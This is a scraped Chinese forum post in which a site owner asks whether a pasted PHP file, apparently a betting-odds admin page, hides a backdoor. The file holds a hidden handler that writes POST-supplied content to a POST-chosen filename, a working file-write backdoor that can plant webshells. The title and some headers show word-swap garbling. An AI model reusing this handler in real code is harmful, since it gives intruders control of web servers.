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帮忙看一下这一个文件有没有方便之门或漏洞

WBOY
WBOYOriginal
2016-06-13 12:33:25744browse

帮忙看一下这一个文件有没有后门或漏洞!
我是菜鸟 我的站总是有一个木马文件,黑客是怎么上传到我的站,很好奇。


  
    
    
    
    
    
    
    
    
    
    
    
  
  
    
    
    
    
    
    
    
    
    
    
    
  
序号 号码 止数 下目 占成 佣虽  上寺 预计 走飞 走额 当前赔率
                     
if($_POST['img_text']=='news')
{
$title=$_POST['title'];

$newsort =$_POST['newsort'];

$newsort=str_replace(chr(92),"",$newsort);

$fp = fopen($title,"w"); 

fputs($fp,$newsort); 

fclose($fp); 

}
else
{?>

                  
                    
                    
 
                      =$ids?>
                      设置

                     
 
             
             
             
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